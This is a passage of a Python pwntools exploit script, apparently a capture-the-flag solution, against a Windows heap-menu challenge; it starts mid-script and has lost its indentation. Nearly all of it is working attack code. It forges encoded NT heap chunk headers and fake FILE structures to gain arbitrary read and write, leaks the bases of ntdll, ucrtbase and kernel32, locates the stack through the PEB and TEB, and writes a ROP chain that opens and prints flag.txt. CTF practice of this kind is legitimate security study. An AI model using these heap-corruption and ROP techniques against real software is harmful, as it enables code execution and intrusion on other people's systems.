p.sendlineafter('Your choice: ', '4')
p.sendlineafter('ID:', str(id))
def open_file(times):
p.sendlineafter('Your choice: ', '5')
for i in range(times):
p.sendlineafter('Your choice: ', '1')
p.sendlineafter('Your choice: ', '3')
def read_file(id, size, content=None):
p.sendlineafter('Your choice: ', '5')
p.sendlineafter('Your choice: ', '2')
p.sendlineafter('ID:', str(id))
p.sendlineafter('Size:', str(size))
if (content): p.send(content)
p.sendlineafter('Your choice: ', '3')
start = lambda: process(pe.path)
def chunk_head(size, prevsize, flags=1, unused=None):
if unused == None: unused = 8 if flags & 1 else 0
return u64(
p16(size >> 4) + p8(flags) + p8((size >> 4 & 0xFF) ^ (size >> 12) ^ flags) + p16(prevsize) + p8(0) + p8(unused))
def arbitrary_address_read(address, is_offset=False, close=True):
global p
while True:
try:
p = start()
open_file(4)
add(0x88, 1) # 0
add(0x88, 2) # 1
add(0x88, 3) # 2
read_file(1, 0x88)
show(1)
p.recv(0x88)
heap_encoding = u64(p.recvline(drop=True).ljust(8, '\x00')) ^ 0x0000000908010009
log.success("heap encoding: " + hex(heap_encoding))
edit(1, 'a' * 0x88 + p64(chunk_head(0x120, 0x90) ^ heap_encoding)[:6])
delete(2)
# windbg.attach(p, "bp 00007ff6`437b0000+1550")
add(0x88, 4) # 1
show(3)
heap_base = u64(p.recvline(drop=True).ljust(8, '\x00')) & ~0xFFFF
log.success("heap base: " + hex(heap_base))
assert heap_base != 0
open_file(1)
fake_FILE = ''
fake_FILE += p64(0) # _ptr
fake_FILE += p64(0xBEEFDAD0000 + 0x28 + 0x20) # _base
fake_FILE += p32(0) # _cnt
fake_FILE += p32(0x2080) # _flags
fake_FILE += p32(0) # _file = stdin(0)
fake_FILE += p32(0) # _charbuf
fake_FILE += p64(0x200) # _charbuf
fake_FILE += p64(0) # _tmpfname
fake_FILE += p64(0xffffffffffffffff) # DebugInfo
fake_FILE += p32(0xffffffff) # LockCount
fake_FILE += p32(0) # RecursionCount
fake_FILE += p64(0) # OwningThread
fake_FILE += p64(0) # LockSemaphore
fake_FILE += p64(0) # SpinCount
edit(3, fake_FILE)
log.info("read addr: " + hex((heap_base + address) if is_offset else address))
read_file(4, 8, p64((heap_base + address) if is_offset else address))
show(4)
value = u64(p.recvline(drop=True).ljust(8, '\x00')[:8])
if close: p.close()
return value
except KeyboardInterrupt:
p.close()
exit(0)
except:
p.close()
ntdll.address = (arbitrary_address_read(0x2c0, True) - 0x15f000) & ~0xFFFF
log.success("ntdll base: " + hex(ntdll.address))
pe_base_offset = (arbitrary_address_read(ntdll.address + 0x1653D0) & 0xFFFF) + 0x30
log.info("pe base offset: " + hex(pe_base_offset))
pe.address = arbitrary_address_read(pe_base_offset + 2, True) << 16
log.success("pe base: " + hex(pe.address))
ucrtbase.address = arbitrary_address_read(pe.imsyms['puts']) - ucrtbase.symbols['puts']
log.success("ucrtbase base: " + hex(ucrtbase.address))
pioinfo_offset = arbitrary_address_read(ucrtbase.address + 0xeb770) & 0xFFFF
log.info("pioinfo offset: " + hex(pioinfo_offset))
while True:
p = start()
try:
open_file(4)
add(0x88, 1) # 0
add(0x88, 2) # 1
add(0xe8, 3) # 2
add(0x88, 5) # 3
add(0x88, 6) # 4
read_file(1, 0x88)
show(1)
p.recv(0x88)
heap_encoding = u64(p.recvline(drop=True).ljust(8, '\x00')) ^ 0x0000000908010009
log.success("heap encoding: " + hex(heap_encoding))
edit(1, 'a' * 0x88 + p64(chunk_head(0x210, 0x90) ^ heap_encoding))
delete(2)
add(0x88, 4) # 1
show(3)
heap_base = u64(p.recvline(drop=True).ljust(8, '\x00')) & ~0xFFFF
log.success("heap base: " + hex(heap_base))
assert heap_base != 0
open_file(1)
add(0x88, 7) # 5
# unlink chunk bypass Flink chunk head check in RtlpHeapRemoveListEntry
unlink_id = chunk_head(0x120, 0x200) ^ heap_encoding
add(0x88, unlink_id) # 6
fake_FILE = ''
fake_FILE += p64(0) # _ptr
fake_FILE += p64(0xBEEFDAD0000 + 0x28 + 0x20) # _base
fake_FILE += p32(0) # _cnt
fake_FILE += p32(0x2080) # _flags
fake_FILE += p32(0) # _file = stdin(0)
fake_FILE += p32(0) # _charbuf
fake_FILE += p64(0x200) # _charbuf
fake_FILE += p64(0) # _tmpfname
fake_FILE += p64(0xffffffffffffffff) # DebugInfo
fake_FILE += p32(0xffffffff) # LockCount
fake_FILE += p32(0) # RecursionCount
fake_FILE += p64(0) # OwningThread
fake_FILE += p64(0) # LockSemaphore
fake_FILE += p64(0) # SpinCount
edit(3, fake_FILE + p64(chunk_head(0x120, 0x60) ^ heap_encoding))
delete(7)
add(0x88, 9) # 5
log.info("pioinfo addr: " + hex(heap_base + pioinfo_offset))
log.info("pioinfo.osfile addr: " + hex(heap_base + pioinfo_offset + 0x38))
read_file(4, 8, p64(heap_base + pioinfo_offset + 0x38))
edit(4, p8(0xc1))
edit(5, p64(0xBEEFDAD0000 + 0x28 * 6 + 0x20 - 8) + p64(0xBEEFDAD0000 + 0x28 * 6 + 0x20))
add(0x88, 10) # unlink
fake_node = lambda id, content: p64(0xDDAABEEF1ACD) + p64(0x500) + p64(id) + p64(0xDDAABEEF1ACD) + p64(content)
edit(unlink_id, p64(0) + fake_node(333, 0xBEEFDAD0000 + 0x28 * 5))
def arbitrary_address_read(address, recover=True):
edit(333, fake_node(111, address) + fake_node(222, 0xBEEFDAD0000 + 0x28 * 7))
show(111)
data = p.recvline(drop=True).ljust(8, '\x00')
if recover: edit(222, fake_node(333, 0xBEEFDAD0000 + 0x28 * 5))
return data
def arbitrary_address_write(address, content, recover=True):
edit(333, fake_node(111, address) + fake_node(222, 0xBEEFDAD0000 + 0x28 * 7))
edit(111, content)
if recover: edit(222, fake_node(333, 0xBEEFDAD0000 + 0x28 * 5))
kernel32.address = u64(arbitrary_address_read(pe.imsyms['GetCurrentThreadId'])[:8]) - kernel32.symbols['GetCurrentThreadId']
log.success("kernel32 base: " + hex(kernel32.address))
assert kernel32.address != 0
PEB_addr = u64(arbitrary_address_read(ntdll.address + 0x165348)[:8]) - 0x80
log.success("PEB addr: " + hex(PEB_addr))
TEB_addr = PEB_addr + 0x1000
log.info("TEB addr: " + hex(TEB_addr))
stack_base = u64(arbitrary_address_read(TEB_addr + 8 + 2)) << 16
log.success("stack base: " + hex(stack_base))
stack_limit = u64(arbitrary_address_read(TEB_addr + 16 + 1)) << 8
if stack_limit == 0: stack_limit = u64(arbitrary_address_read(TEB_addr + 16 + 2)) << 16
log.success("stack limit: " + hex(stack_limit))
search_length = 0x100
main_ret_addr = -1
for start_search in range(stack_base - search_length, stack_limit, -search_length):
address = start_search
while address - start_search < search_length:
stack_data = arbitrary_address_read(address)
offset = stack_data.find(p64(pe.address + 0x1B78))
if offset != -1:
main_ret_addr = address + offset
break
address += len(stack_data)
if main_ret_addr != -1: break
rop_addr = main_ret_addr - 0x80
buf_addr = rop_addr + 0x200 + 0x20
payload = ''
payload += p64(ntdll.search(asm("pop rcx; ret"), executable=True).next())
payload += p64(0)
payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
payload += p64(0)
payload += p64(0)
payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
payload += p64(0)
payload += p64(kernel32.symbols['HeapCreate'])
payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
payload += p64(PEB_addr + 0x30) # process_heap
payload += p64(0)
payload += p64(ntdll.search(asm("mov qword ptr [rdx], rax; ret;"), executable=True).next())
payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
payload += p64(ucrtbase.address + 0xEB570) # __acrt_heap
payload += p64(0)
payload += p64(ntdll.search(asm("mov qword ptr [rdx], rax; ret;"), executable=True).next())
payload += p64(ntdll.search(asm("pop rcx; ret"), executable=True).next())
payload += p64(buf_addr)
payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
payload += p64(0)
payload += p64(0)
payload += p64(ucrtbase.symbols['_open'])
payload += p64(ntdll.search(asm("add rsp, 0x28; ret"), executable=True).next())
payload += '\x00' * 0x28
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(8) # fileno
payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
payload += p64(buf_addr)
payload += p64(0)
payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
payload += p64(0x100)
payload += p64(ucrtbase.symbols['_read'])
payload += p64(ntdll.search(asm("add rsp, 0x28; ret"), executable=True).next())
payload += '\x00' * 0x28
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(1)
payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
payload += p64(buf_addr)
payload += p64(0)
payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
payload += p64(0x100)
payload += p64(ucrtbase.symbols['_write'])
payload = payload.ljust(buf_addr - rop_addr, '\xcc')
payload += 'flag.txt\x00'
log.info("main ret addr: " + hex(main_ret_addr))
log.info("rop addr: " + hex(rop_addr))
log.info("buf addr: " + hex(buf_addr))
arbitrary_address_write(rop_addr, payload, False)
p.interactive()
break
except KeyboardInterrupt:
p.close()
exit(0)
except:
p.close()